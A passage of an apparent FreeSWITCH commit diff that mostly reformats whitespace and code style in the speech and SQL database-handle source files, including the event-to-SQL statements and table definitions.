if ((*datalen = switch_buffer_read(sh->buffer, data, orig_len))) {
@@ -216,14 +215,14 @@
return SWITCH_STATUS_BREAK;
}
- more:
+ more:
if ((status = sh->speech_interface->speech_read_tts(sh, data, datalen, flags)) != SWITCH_STATUS_SUCCESS) {
switch_set_flag(sh, SWITCH_SPEECH_FLAG_DONE);
goto top;
}
-
+
if (sh->native_rate && sh->samplerate && sh->native_rate != sh->samplerate) {
if (!sh->resampler) {
if (switch_resample_create(&sh->resampler,
@@ -239,16 +238,16 @@
int factor = sh->resampler->to_len * sh->samplerate / 1000;
switch_buffer_create_dynamic(&sh->buffer, factor, factor, 0);
switch_assert(sh->buffer);
- }
+ }
if (!sh->dbuf || sh->dbuflen < sh->resampler->to_len * 2) {
sh->dbuflen = sh->resampler->to_len * 2;
sh->dbuf = switch_core_alloc(sh->memory_pool, sh->dbuflen);
}
switch_assert(sh->resampler->to_len <= sh->dbuflen);
-
+
memcpy((int16_t *) sh->dbuf, sh->resampler->to, sh->resampler->to_len * 2);
switch_buffer_write(sh->buffer, sh->dbuf, sh->resampler->to_len * 2);
-
+
if (switch_buffer_inuse(sh->buffer) < want) {
*datalen = want;
goto more;
@@ -270,7 +269,7 @@
SWITCH_DECLARE(switch_status_t) switch_core_speech_close(switch_speech_handle_t *sh, switch_speech_flag_t *flags)
{
switch_status_t status = sh->speech_interface->speech_close(sh, flags);
-
+
if (!switch_test_flag(sh, SWITCH_SPEECH_FLAG_OPEN)) {
return SWITCH_STATUS_FALSE;
}
@@ -288,7 +287,7 @@
}
switch_clear_flag(sh, SWITCH_SPEECH_FLAG_OPEN);
-
+
return status;
}
Modified: freeswitch/trunk/src/switch_core_sqldb.c (16578 => 16579)
--- freeswitch/trunk/src/switch_core_sqldb.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_sqldb.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -53,11 +53,11 @@
/*!
\brief Open the default system database
*/
-SWITCH_DECLARE(switch_status_t) _switch_core_db_handle(switch_cache_db_handle_t **dbh, const char *file, const char *func, int line)
+SWITCH_DECLARE(switch_status_t) _switch_core_db_handle(switch_cache_db_handle_t ** dbh, const char *file, const char *func, int line)
{
switch_cache_db_connection_options_t options = { {0} };
switch_status_t r;
-
+
if (!zstr(runtime.odbc_dsn)) {
options.odbc_options.dsn = runtime.odbc_dsn;
options.odbc_options.user = runtime.odbc_user;
@@ -87,11 +87,11 @@
switch_cache_db_handle_t *dbh = NULL;
int locked = 0;
char *key;
-
+
switch_mutex_lock(sql_manager.dbh_mutex);
- top:
+ top:
locked = 0;
-
+
for (hi = switch_hash_first(NULL, sql_manager.dbh_hash); hi; hi = switch_hash_next(hi)) {
switch_hash_this(hi, &var, NULL, &val);
key = (char *) var;
@@ -102,7 +102,7 @@
if (prune > 0 && prune > dbh->last_used) {
diff = (time_t) prune - dbh->last_used;
}
-
+
if (prune > 0 && diff < SQL_CACHE_TIMEOUT) {
continue;
}
@@ -119,7 +119,7 @@
case SCDB_TYPE_CORE_DB:
{
switch_core_db_close(dbh->native_handle.core_db_dbh);
- dbh->native_handle.core_db_dbh = NULL;
+ dbh->native_handle.core_db_dbh = NULL;
}
break;
}
@@ -128,9 +128,10 @@
switch_mutex_unlock(dbh->mutex);
switch_core_destroy_memory_pool(&dbh->pool);
goto top;
-
+
} else {
- if (!prune) locked++;
+ if (!prune)
+ locked++;
continue;
}
}
@@ -144,13 +145,14 @@
}
-SWITCH_DECLARE(void) switch_cache_db_flush_handles(void){
+SWITCH_DECLARE(void) switch_cache_db_flush_handles(void)
+{
sql_close(switch_epoch_time_now(NULL) + SQL_CACHE_TIMEOUT + 1);
}
-SWITCH_DECLARE(void) switch_cache_db_release_db_handle(switch_cache_db_handle_t **dbh)
+SWITCH_DECLARE(void) switch_cache_db_release_db_handle(switch_cache_db_handle_t ** dbh)
{
if (dbh && *dbh) {
switch_mutex_unlock((*dbh)->mutex);
@@ -159,7 +161,7 @@
}
-SWITCH_DECLARE(void) switch_cache_db_destroy_db_handle(switch_cache_db_handle_t **dbh)
+SWITCH_DECLARE(void) switch_cache_db_destroy_db_handle(switch_cache_db_handle_t ** dbh)
{
if (dbh && *dbh) {
switch_mutex_lock(sql_manager.dbh_mutex);
@@ -174,13 +176,13 @@
case SCDB_TYPE_CORE_DB:
{
switch_core_db_close((*dbh)->native_handle.core_db_dbh);
- (*dbh)->native_handle.core_db_dbh = NULL;
+ (*dbh)->native_handle.core_db_dbh = NULL;
}
break;
}
-
- switch_core_hash_delete(sql_manager.dbh_hash, (*dbh)->name);
+
+ switch_core_hash_delete(sql_manager.dbh_hash, (*dbh)->name);
switch_mutex_unlock((*dbh)->mutex);
switch_core_destroy_memory_pool(&(*dbh)->pool);
*dbh = NULL;
@@ -197,7 +199,7 @@
char *key;
switch_cache_db_handle_t *dbh = NULL;
- snprintf(thread_str, sizeof(thread_str) - 1, "%lu", (unsigned long)(intptr_t)switch_thread_self());
+ snprintf(thread_str, sizeof(thread_str) - 1, "%lu", (unsigned long) (intptr_t) switch_thread_self());
switch_mutex_lock(sql_manager.dbh_mutex);
for (hi = switch_hash_first(NULL, sql_manager.dbh_hash); hi; hi = switch_hash_next(hi)) {
@@ -206,10 +208,10 @@
if ((dbh = (switch_cache_db_handle_t *) val)) {
if (switch_mutex_trylock(dbh->mutex) == SWITCH_STATUS_SUCCESS) {
if (strstr(dbh->name, thread_str)) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG10,
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG10,
"Detach cached DB handle %s [%s]\n", thread_str, switch_cache_db_type_name(dbh->type));
switch_clear_flag(dbh, CDF_INUSE);
- }
+ }
switch_mutex_unlock(dbh->mutex);
}
}
@@ -218,10 +220,10 @@
switch_mutex_unlock(sql_manager.dbh_mutex);
}
-SWITCH_DECLARE(switch_status_t)_switch_cache_db_get_db_handle(switch_cache_db_handle_t **dbh,
- switch_cache_db_handle_type_t type,
- switch_cache_db_connection_options_t *connection_options,
- const char *file, const char *func, int line)
+SWITCH_DECLARE(switch_status_t) _switch_cache_db_get_db_handle(switch_cache_db_handle_t ** dbh,
+ switch_cache_db_handle_type_t type,
+ switch_cache_db_connection_options_t *connection_options,
+ const char *file, const char *func, int line)
{
switch_thread_id_t self = switch_thread_self();
char thread_str[CACHE_DB_LEN] = "";
@@ -256,13 +258,13 @@
}
snprintf(db_str, sizeof(db_str) - 1, "db=\"%s\";user=\"%s\";pass=\"%s\"", db_name, db_user, db_pass);
- snprintf(thread_str, sizeof(thread_str) - 1, "%s;thread=\"%lu\"", db_str, (unsigned long)(intptr_t)self);
+ snprintf(thread_str, sizeof(thread_str) - 1, "%s;thread=\"%lu\"", db_str, (unsigned long) (intptr_t) self);
snprintf(db_callsite_str, sizeof(db_callsite_str) - 1, "%s:%d", file, line);
-
+
switch_mutex_lock(sql_manager.dbh_mutex);
if ((new_dbh = switch_core_hash_find(sql_manager.dbh_hash, thread_str))) {
switch_set_string(new_dbh->last_user, db_callsite_str);
- switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_DEBUG10,
+ switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_DEBUG10,
"Reuse Cached DB handle %s [%s]\n", thread_str, switch_cache_db_type_name(new_dbh->type));
} else {
switch_hash_index_t *hi;
@@ -270,21 +272,21 @@
void *val;
char *key;
unsigned long hash = 0;
-
+
hash = switch_ci_hashfunc_default(db_str, &hlen);
for (hi = switch_hash_first(NULL, sql_manager.dbh_hash); hi; hi = switch_hash_next(hi)) {
switch_hash_this(hi, &var, NULL, &val);
key = (char *) var;
-
+
if ((new_dbh = (switch_cache_db_handle_t *) val)) {
- if (hash == new_dbh->hash && !strncasecmp(new_dbh->name, db_str, strlen(db_str)) &&
+ if (hash == new_dbh->hash && !strncasecmp(new_dbh->name, db_str, strlen(db_str)) &&
!switch_test_flag(new_dbh, CDF_INUSE) && switch_mutex_trylock(new_dbh->mutex) == SWITCH_STATUS_SUCCESS) {
switch_set_flag(new_dbh, CDF_INUSE);
switch_set_string(new_dbh->name, thread_str);
new_dbh->hash = switch_ci_hashfunc_default(db_str, &hlen);
switch_set_string(new_dbh->last_user, db_callsite_str);
- switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_DEBUG10,
+ switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_DEBUG10,
"Reuse Unused Cached DB handle %s [%s]\n", thread_str, switch_cache_db_type_name(new_dbh->type));
break;
}
@@ -307,15 +309,14 @@
goto end;
}
- if ((odbc_dbh = switch_odbc_handle_new(connection_options->odbc_options.dsn,
- connection_options->odbc_options.user,
- connection_options->odbc_options.pass))) {
+ if ((odbc_dbh = switch_odbc_handle_new(connection_options->odbc_options.dsn,
+ connection_options->odbc_options.user, connection_options->odbc_options.pass))) {
if (switch_odbc_handle_connect(odbc_dbh) != SWITCH_STATUS_SUCCESS) {
switch_odbc_handle_destroy(&odbc_dbh);
}
}
-
+
}
break;
case SCDB_TYPE_CORE_DB:
@@ -333,7 +334,7 @@
goto end;
}
- switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_DEBUG10,
+ switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_DEBUG10,
"Create Cached DB handle %s [%s]\n", thread_str, switch_cache_db_type_name(type));
switch_core_new_memory_pool(&pool);
@@ -345,7 +346,10 @@
new_dbh->hash = switch_ci_hashfunc_default(db_str, &hlen);
- if (db) new_dbh->native_handle.core_db_dbh = db; else new_dbh->native_handle.odbc_dbh = odbc_dbh;
+ if (db)
+ new_dbh->native_handle.core_db_dbh = db;
+ else
+ new_dbh->native_handle.odbc_dbh = odbc_dbh;
switch_mutex_init(&new_dbh->mutex, SWITCH_MUTEX_UNNESTED, new_dbh->pool);
switch_set_string(new_dbh->creator, db_callsite_str);
switch_mutex_lock(new_dbh->mutex);
@@ -353,9 +357,10 @@
switch_core_hash_insert(sql_manager.dbh_hash, new_dbh->name, new_dbh);
}
- end:
+ end:
- if (new_dbh) new_dbh->last_used = switch_epoch_time_now(NULL);
+ if (new_dbh)
+ new_dbh->last_used = switch_epoch_time_now(NULL);
switch_mutex_unlock(sql_manager.dbh_mutex);
@@ -374,8 +379,9 @@
switch_mutex_lock(dbh->io_mutex);
}
- if (err) *err = NULL;
-
+ if (err)
+ *err = NULL;
+
switch (dbh->type) {
case SCDB_TYPE_ODBC:
{
@@ -408,7 +414,7 @@
if (dbh->io_mutex) {
switch_mutex_unlock(dbh->io_mutex);
}
-
+
return status;
}
@@ -424,7 +430,8 @@
switch_assert(chunk_size);
- if (err) *err = NULL;
+ if (err)
+ *err = NULL;
len = strlen(sql);
@@ -435,38 +442,39 @@
if (!(chunk_count = strlen(sql) / chunk_size)) {
return SWITCH_STATUS_FALSE;
}
-
+
e = end_of_p(sql);
s = sql;
- while(s && s < e) {
+ while (s && s < e) {
p = s + chunk_size;
if (p > e) {
p = e;
}
-
+
while (p > s) {
- if (*p == '\n' && *(p-1) == ';') {
+ if (*p == '\n' && *(p - 1) == ';') {
*p = '\0';
- *(p-1) = '\0';
+ *(p - 1) = '\0';
p++;
break;
}
-
+
p--;
}
- if (p <= s) break;
-
-
+ if (p <= s)
+ break;
+
+
status = switch_cache_db_execute_sql_real(dbh, s, err);
if (status != SWITCH_STATUS_SUCCESS || (err && *err)) {
break;
}
s = p;
-
+
}
return status;
@@ -485,7 +493,7 @@
switch (dbh->type) {
default:
{
- status = switch_cache_db_execute_sql_chunked(dbh, (char *)sql, 32768, err);
+ status = switch_cache_db_execute_sql_chunked(dbh, (char *) sql, 32768, err);
}
break;
}
@@ -512,7 +520,7 @@
case SCDB_TYPE_CORE_DB:
{
switch_core_db_stmt_t *stmt;
-
+
if (switch_core_db_prepare(dbh->native_handle.core_db_dbh, sql, -1, &stmt, 0)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Statement Error [%s]!\n", sql);
return NULL;
@@ -523,7 +531,7 @@
while (running < 5000) {
int result = switch_core_db_step(stmt);
const unsigned char *txt;
-
+
if (result == SWITCH_CORE_DB_ROW) {
if ((colcount = switch_core_db_column_count(stmt)) > 0) {
if ((txt = switch_core_db_column_text(stmt, 0))) {
@@ -541,7 +549,7 @@
}
break;
}
-
+
switch_core_db_finalize(stmt);
}
}
@@ -553,7 +561,7 @@
break;
}
- end:
+ end:
if (dbh->io_mutex) {
switch_mutex_unlock(dbh->io_mutex);
@@ -610,7 +618,7 @@
uint8_t forever = 0;
unsigned begin_retries = 100;
uint8_t again = 0;
-
+
if (!retries) {
forever = 1;
retries = 1000;
@@ -620,12 +628,12 @@
switch_mutex_lock(dbh->io_mutex);
}
-again:
+ again:
while (begin_retries > 0) {
again = 0;
- switch_cache_db_execute_sql_real(dbh, "BEGIN", &errmsg);
+ switch_cache_db_execute_sql_real(dbh, "BEGIN", &errmsg);
if (errmsg) {
begin_retries--;
@@ -674,9 +682,9 @@
}
}
-done:
+ done:
- switch_cache_db_execute_sql_real(dbh, "COMMIT", NULL);
+ switch_cache_db_execute_sql_real(dbh, "COMMIT", NULL);
if (dbh->io_mutex) {
switch_mutex_unlock(dbh->io_mutex);
@@ -686,14 +694,14 @@
return status;
}
-SWITCH_DECLARE(switch_status_t) switch_cache_db_execute_sql_callback(switch_cache_db_handle_t *dbh,
+SWITCH_DECLARE(switch_status_t) switch_cache_db_execute_sql_callback(switch_cache_db_handle_t *dbh,
const char *sql, switch_core_db_callback_func_t callback, void *pdata, char **err)
-
{
switch_status_t status = SWITCH_STATUS_FALSE;
char *errmsg = NULL;
- if (err) *err = NULL;
+ if (err)
+ *err = NULL;
if (dbh->io_mutex) {
switch_mutex_lock(dbh->io_mutex);
@@ -709,7 +717,7 @@
case SCDB_TYPE_CORE_DB:
{
status = switch_core_db_exec(dbh->native_handle.core_db_dbh, sql, callback, pdata, &errmsg);
-
+
if (errmsg) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "SQL ERR: [%s] %s\n", sql, errmsg);
free(errmsg);
@@ -717,7 +725,7 @@
}
break;
}
-
+
if (dbh->io_mutex) {
switch_mutex_unlock(dbh->io_mutex);
}
@@ -725,7 +733,7 @@
return status;
}
-SWITCH_DECLARE(switch_bool_t) switch_cache_db_test_reactive(switch_cache_db_handle_t *dbh,
+SWITCH_DECLARE(switch_bool_t) switch_cache_db_test_reactive(switch_cache_db_handle_t *dbh,
const char *test_sql, const char *drop_sql, const char *reactive_sql)
{
char *errmsg;
@@ -788,7 +796,7 @@
#define SQLLEN 1024 * 1024
-static void *SWITCH_THREAD_FUNC switch_core_sql_thread(switch_thread_t * thread, void *obj)
+static void *SWITCH_THREAD_FUNC switch_core_sql_thread(switch_thread_t *thread, void *obj)
{
void *pop;
uint32_t itterations = 0;
@@ -814,7 +822,7 @@
sql_manager.thread_running = 1;
- while(sql_manager.thread_running == 1) {
+ while (sql_manager.thread_running == 1) {
if (++loops == l1) {
if (++sec == SQL_CACHE_TIMEOUT) {
sql_close(switch_epoch_time_now(NULL));
@@ -822,13 +830,13 @@
}
loops = 0;
}
-
+
if (!sql_manager.manage) {
switch_yield(100000);
continue;
}
-
- if (switch_queue_trypop(sql_manager.sql_queue[0], &pop) == SWITCH_STATUS_SUCCESS ||
+
+ if (switch_queue_trypop(sql_manager.sql_queue[0], &pop) == SWITCH_STATUS_SUCCESS ||
switch_queue_trypop(sql_manager.sql_queue[1], &pop) == SWITCH_STATUS_SUCCESS) {
sql = (char *) pop;
@@ -838,7 +846,7 @@
if (itterations == 0) {
trans = 1;
}
-
+
/* ignore abnormally large strings sql strings as potential buffer overflow */
if (newlen < SQLLEN) {
itterations++;
@@ -863,8 +871,8 @@
} else {
nothing_in_queue = 1;
}
-
-
+
+
if (trans && ((itterations == target) || (nothing_in_queue && ++lc >= 500))) {
if (switch_cache_db_persistant_execute_trans(sql_manager.event_db, sqlbuf, 1) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "SQL thread unable to commit transaction, records lost!\n");
@@ -876,7 +884,7 @@
*sqlbuf = '\0';
lc = 0;
}
-
+
if (nothing_in_queue) {
switch_cond_next();
}
@@ -910,45 +918,40 @@
{
const char *id = switch_event_get_header(event, "task-id");
const char *manager = switch_event_get_header(event, "task-sql_manager");
-
+
if (id) {
sql = switch_mprintf("insert into tasks values(%q,'%q','%q',%q, '%q')",
id,
switch_event_get_header_nil(event, "task-desc"),
- switch_event_get_header_nil(event, "task-group"),
- manager ? manager : "0",
- switch_core_get_variable("hostname")
- );
+ switch_event_get_header_nil(event, "task-group"), manager ? manager : "0", switch_core_get_variable("hostname")
+ );
}
}
break;
case SWITCH_EVENT_DEL_SCHEDULE:
case SWITCH_EVENT_EXE_SCHEDULE:
- sql = switch_mprintf("delete from tasks where task_id=%q and hostname='%q'",
+ sql = switch_mprintf("delete from tasks where task_id=%q and hostname='%q'",
switch_event_get_header_nil(event, "task-id"), switch_core_get_variable("hostname"));
break;
case SWITCH_EVENT_RE_SCHEDULE:
{
const char *id = switch_event_get_header(event, "task-id");
const char *manager = switch_event_get_header(event, "task-sql_manager");
-
+
if (id) {
sql = switch_mprintf("update tasks set task_desc='%q',task_group='%q', task_sql_manager=%q where task_id=%q and hostname='%q'",
- switch_event_get_header_nil(event, "task-desc"),
- switch_event_get_header_nil(event, "task-group"),
- manager ? manager : "0",
- id, switch_core_get_variable("hostname"));
+ switch_event_get_header_nil(event, "task-desc"),
+ switch_event_get_header_nil(event, "task-group"), manager ? manager : "0", id, switch_core_get_variable("hostname"));
}
}
break;
case SWITCH_EVENT_CHANNEL_DESTROY:
- sql = switch_mprintf("delete from channels where uuid='%q' and hostname='%q'",
+ sql = switch_mprintf("delete from channels where uuid='%q' and hostname='%q'",
switch_event_get_header_nil(event, "unique-id"), switch_core_get_variable("hostname"));
break;
case SWITCH_EVENT_CHANNEL_UUID:
{
- sql = switch_mprintf(
- "update channels set uuid='%q' where uuid='%q' and hostname='%q';"
+ sql = switch_mprintf("update channels set uuid='%q' where uuid='%q' and hostname='%q';"
"update calls set caller_uuid='%q' where caller_uuid='%q' and hostname='%q';"
"update calls set callee_uuid='%q' where callee_uuid='%q' and hostname='%q'",
switch_event_get_header_nil(event, "unique-id"),
@@ -958,9 +961,8 @@
switch_event_get_header_nil(event, "old-unique-id"),
switch_core_get_variable("hostname"),
switch_event_get_header_nil(event, "unique-id"),
- switch_event_get_header_nil(event, "old-unique-id"),
- switch_core_get_variable("hostname")
- );
+ switch_event_get_header_nil(event, "old-unique-id"), switch_core_get_variable("hostname")
+ );
break;
}
case SWITCH_EVENT_CHANNEL_CREATE:
@@ -969,21 +971,20 @@
switch_event_get_header_nil(event, "unique-id"),
switch_event_get_header_nil(event, "call-direction"),
switch_event_get_header_nil(event, "event-date-local"),
- (long)switch_epoch_time_now(NULL),
+ (long) switch_epoch_time_now(NULL),
switch_event_get_header_nil(event, "channel-name"),
switch_event_get_header_nil(event, "channel-state"),
switch_event_get_header_nil(event, "caller-dialplan"),
- switch_event_get_header_nil(event, "caller-context"),
- switch_core_get_variable("hostname")
- );
+ switch_event_get_header_nil(event, "caller-context"), switch_core_get_variable("hostname")
+ );
break;
case SWITCH_EVENT_CODEC:
sql =
switch_mprintf
("update channels set read_codec='%q',read_rate='%q',write_codec='%q',write_rate='%q' where uuid='%q' and hostname='%q'",
- switch_event_get_header_nil(event, "channel-read-codec-name"),
+ switch_event_get_header_nil(event, "channel-read-codec-name"),
switch_event_get_header_nil(event, "channel-read-codec-rate"),
- switch_event_get_header_nil(event, "channel-write-codec-name"),
+ switch_event_get_header_nil(event, "channel-write-codec-name"),
switch_event_get_header_nil(event, "channel-write-codec-rate"),
switch_event_get_header_nil(event, "unique-id"), switch_core_get_variable("hostname"));
break;
@@ -991,12 +992,12 @@
sql = switch_mprintf("update channels set application='%q',application_data='%q',"
"presence_id='%q',presence_data='%q' where uuid='%q' and hostname='%q'",
switch_event_get_header_nil(event, "application"),
- switch_event_get_header_nil(event, "application-data"),
+ switch_event_get_header_nil(event, "application-data"),
switch_event_get_header_nil(event, "channel-presence-id"),
switch_event_get_header_nil(event, "channel-presence-data"),
switch_event_get_header_nil(event, "unique-id"), switch_core_get_variable("hostname")
- );
+ );
break;
case SWITCH_EVENT_CHANNEL_STATE:
@@ -1020,8 +1021,8 @@
switch_event_get_header_nil(event, "caller-caller-id-name"),
switch_event_get_header_nil(event, "caller-caller-id-number"),
switch_event_get_header_nil(event, "caller-network-addr"),
- switch_event_get_header_nil(event, "caller-destination-number"),
- switch_event_get_header_nil(event, "caller-dialplan"),
+ switch_event_get_header_nil(event, "caller-destination-number"),
+ switch_event_get_header_nil(event, "caller-dialplan"),
switch_event_get_header_nil(event, "caller-context"),
switch_event_get_header_nil(event, "channel-presence-id"),
switch_event_get_header_nil(event, "channel-presence-data"),
@@ -1029,7 +1030,7 @@
break;
default:
sql = switch_mprintf("update channels set state='%s' where uuid='%s' and hostname='%q'",
- switch_event_get_header_nil(event, "channel-state"),
+ switch_event_get_header_nil(event, "channel-state"),
switch_event_get_header_nil(event, "unique-id"), switch_core_get_variable("hostname"));
break;
}
@@ -1038,7 +1039,7 @@
case SWITCH_EVENT_CHANNEL_BRIDGE:
sql = switch_mprintf("insert into calls values ('%s', '%ld', '%s','%q','%q','%q','%q','%s','%q','%q','%q','%q','%s','%q')",
switch_event_get_header_nil(event, "event-date-local"),
- (long)switch_epoch_time_now(NULL),
+ (long) switch_epoch_time_now(NULL),
switch_event_get_header_nil(event, "event-calling-function"),
switch_event_get_header_nil(event, "caller-caller-id-name"),
switch_event_get_header_nil(event, "caller-caller-id-number"),
@@ -1048,23 +1049,20 @@
switch_event_get_header_nil(event, "Other-Leg-caller-id-name"),
switch_event_get_header_nil(event, "Other-Leg-caller-id-number"),
switch_event_get_header_nil(event, "Other-Leg-destination-number"),
- switch_event_get_header_nil(event, "Other-Leg-channel-name"),
- switch_event_get_header_nil(event, "Other-Leg-unique-id"),
- switch_core_get_variable("hostname")
+ switch_event_get_header_nil(event, "Other-Leg-channel-name"),
+ switch_event_get_header_nil(event, "Other-Leg-unique-id"), switch_core_get_variable("hostname")
);
break;
case SWITCH_EVENT_CHANNEL_UNBRIDGE:
- sql = switch_mprintf("delete from calls where caller_uuid='%s' and hostname='%q'",
+ sql = switch_mprintf("delete from calls where caller_uuid='%s' and hostname='%q'",
switch_event_get_header_nil(event, "caller-unique-id"), switch_core_get_variable("hostname"));
break;
case SWITCH_EVENT_SHUTDOWN:
sql = switch_mprintf("delete from channels where hostname='%q';"
"delete from interfaces where hostname='%q';"
"delete from calls where hostname='%q'",
- switch_core_get_variable("hostname"),
- switch_core_get_variable("hostname"),
- switch_core_get_variable("hostname")
- );
+ switch_core_get_variable("hostname"), switch_core_get_variable("hostname"), switch_core_get_variable("hostname")
+ );
break;
case SWITCH_EVENT_LOG:
return;
@@ -1078,10 +1076,11 @@
const char *filename = switch_event_get_header_nil(event, "filename");
if (!zstr(type) && !zstr(name)) {
sql =
- switch_mprintf("insert into interfaces (type,name,description,syntax,ikey,filename,hostname) values('%q','%q','%q','%q','%q','%q','%q')",
- type, name, switch_str_nil(description), switch_str_nil(syntax),
- switch_str_nil(key), switch_str_nil(filename), switch_core_get_variable("hostname")
- );
+ switch_mprintf
+ ("insert into interfaces (type,name,description,syntax,ikey,filename,hostname) values('%q','%q','%q','%q','%q','%q','%q')", type, name,
+ switch_str_nil(description), switch_str_nil(syntax), switch_str_nil(key), switch_str_nil(filename),
+ switch_core_get_variable("hostname")
+ );
}
break;
}
@@ -1090,7 +1089,7 @@
const char *type = switch_event_get_header_nil(event, "type");
const char *name = switch_event_get_header_nil(event, "name");
if (!zstr(type) && !zstr(name)) {
- sql = switch_mprintf("delete from interfaces where type='%q' and name='%q' and hostname='%q'", type, name,
+ sql = switch_mprintf("delete from interfaces where type='%q' and name='%q' and hostname='%q'", type, name,
switch_core_get_variable("hostname"));
}
break;
@@ -1103,10 +1102,8 @@
break;
}
sql = switch_mprintf("update channels set secure='%s' where uuid='%s' and hostname='%q'",
- type,
- switch_event_get_header_nil(event, "caller-unique-id"),
- switch_core_get_variable("hostname")
- );
+ type, switch_event_get_header_nil(event, "caller-unique-id"), switch_core_get_variable("hostname")
+ );
break;
}
case SWITCH_EVENT_NAT:
@@ -1116,15 +1113,12 @@
if (!strcmp("add", op)) {
sql = switch_mprintf("insert into nat (port, proto, sticky, hostname) values (%s, %s, %d,'%q')",
switch_event_get_header_nil(event, "port"),
- switch_event_get_header_nil(event, "proto"),
- sticky,
- switch_core_get_variable("hostname")
- );
+ switch_event_get_header_nil(event, "proto"), sticky, switch_core_get_variable("hostname")
+ );
} else if (!strcmp("del", op)) {
sql = switch_mprintf("delete from nat where port=%s and proto=%s and hostname='%q'",
switch_event_get_header_nil(event, "port"),
- switch_event_get_header_nil(event, "proto"),
- switch_core_get_variable("hostname"));
+ switch_event_get_header_nil(event, "proto"), switch_core_get_variable("hostname"));
} else if (!strcmp("status", op)) {
/* call show nat api */
} else if (!strcmp("status_response", op)) {
@@ -1151,27 +1145,17 @@
static char create_complete_sql[] =
"CREATE TABLE complete (\n"
- " sticky INTEGER,\n"
- " a1 VARCHAR(128),\n"
- " a2 VARCHAR(128),\n"
- " a3 VARCHAR(128),\n"
- " a4 VARCHAR(128),\n"
- " a5 VARCHAR(128),\n"
- " a6 VARCHAR(128),\n"
- " a7 VARCHAR(128),\n"
- " a8 VARCHAR(128),\n"
- " a9 VARCHAR(128),\n"
- " a10 VARCHAR(128),\n"
- " hostname VARCHAR(256)\n"
- ");\n";
+ " sticky INTEGER,\n"
+ " a1 VARCHAR(128),\n"
+ " a2 VARCHAR(128),\n"
+ " a3 VARCHAR(128),\n"
+ " a4 VARCHAR(128),\n"
+ " a5 VARCHAR(128),\n"
+ " a6 VARCHAR(128),\n"
+ " a7 VARCHAR(128),\n" " a8 VARCHAR(128),\n" " a9 VARCHAR(128),\n" " a10 VARCHAR(128),\n" " hostname VARCHAR(256)\n" ");\n";
static char create_alias_sql[] =
- "CREATE TABLE aliases (\n"
- " sticky INTEGER,\n"
- " alias VARCHAR(128),\n"
- " command VARCHAR(4096),\n"
- " hostname VARCHAR(256)\n"
- ");\n";
+ "CREATE TABLE aliases (\n" " sticky INTEGER,\n" " alias VARCHAR(128),\n" " command VARCHAR(4096),\n" " hostname VARCHAR(256)\n" ");\n";
static char create_channels_sql[] =
"CREATE TABLE channels (\n"
@@ -1189,15 +1173,13 @@
" application_data VARCHAR(4096),\n"
" dialplan VARCHAR(128),\n"
" context VARCHAR(128),\n"
- " read_codec VARCHAR(128),\n"
- " read_rate VARCHAR(32),\n"
- " write_codec VARCHAR(128),\n"
- " write_rate VARCHAR(32),\n"
+ " read_codec VARCHAR(128),\n"
+ " read_rate VARCHAR(32),\n"
+ " write_codec VARCHAR(128),\n"
+ " write_rate VARCHAR(32),\n"
" secure VARCHAR(32),\n"
- " hostname VARCHAR(256),\n"
- " presence_id VARCHAR(4096),\n"
- " presence_data VARCHAR(4096)\n"
- ");\ncreate index uuindex on channels (uuid,hostname);\n";
+ " hostname VARCHAR(256),\n"
+ " presence_id VARCHAR(4096),\n" " presence_data VARCHAR(4096)\n" ");\ncreate index uuindex on channels (uuid,hostname);\n";
static char create_calls_sql[] =
"CREATE TABLE calls (\n"
" call_created VARCHAR(128),\n"
@@ -1210,38 +1192,25 @@
" caller_uuid VARCHAR(256),\n"
" callee_cid_name VARCHAR(1024),\n"
" callee_cid_num VARCHAR(256),\n"
- " callee_dest_num VARCHAR(256),\n"
- " callee_chan_name VARCHAR(1024),\n"
- " callee_uuid VARCHAR(256),\n"
- " hostname VARCHAR(256)\n"
- ");\n"
- "create index eruuindex on calls (caller_uuid,hostname);\n"
- "create index eeuuindex on calls (callee_uuid,hostname);\n";
+ " callee_dest_num VARCHAR(256),\n"
+ " callee_chan_name VARCHAR(1024),\n"
+ " callee_uuid VARCHAR(256),\n"
+ " hostname VARCHAR(256)\n"
+ ");\n" "create index eruuindex on calls (caller_uuid,hostname);\n" "create index eeuuindex on calls (callee_uuid,hostname);\n";
static char create_interfaces_sql[] =
"CREATE TABLE interfaces (\n"
" type VARCHAR(128),\n"
- " name VARCHAR(1024),\n"
- " description VARCHAR(4096),\n"
- " ikey VARCHAR(1024),\n"
- " filename VARCHAR(4096),\n"
- " syntax VARCHAR(4096),\n"
- " hostname VARCHAR(256)\n"
- ");\n";
+ " name VARCHAR(1024),\n"
+ " description VARCHAR(4096),\n"
+ " ikey VARCHAR(1024),\n"
+ " filename VARCHAR(4096),\n" " syntax VARCHAR(4096),\n" " hostname VARCHAR(256)\n" ");\n";
static char create_tasks_sql[] =
"CREATE TABLE tasks (\n"
" task_id INTEGER,\n"
- " task_desc VARCHAR(4096),\n"
- " task_group VARCHAR(1024),\n"
- " task_sql_manager INTEGER,\n"
- " hostname VARCHAR(256)\n"
- ");\n";
-static char create_nat_sql[] =
- "CREATE TABLE nat (\n"
- " sticky INTEGER,\n"
- " port INTEGER,\n"
- " proto INTEGER,\n"
- " hostname VARCHAR(256)\n"
- ");\n";
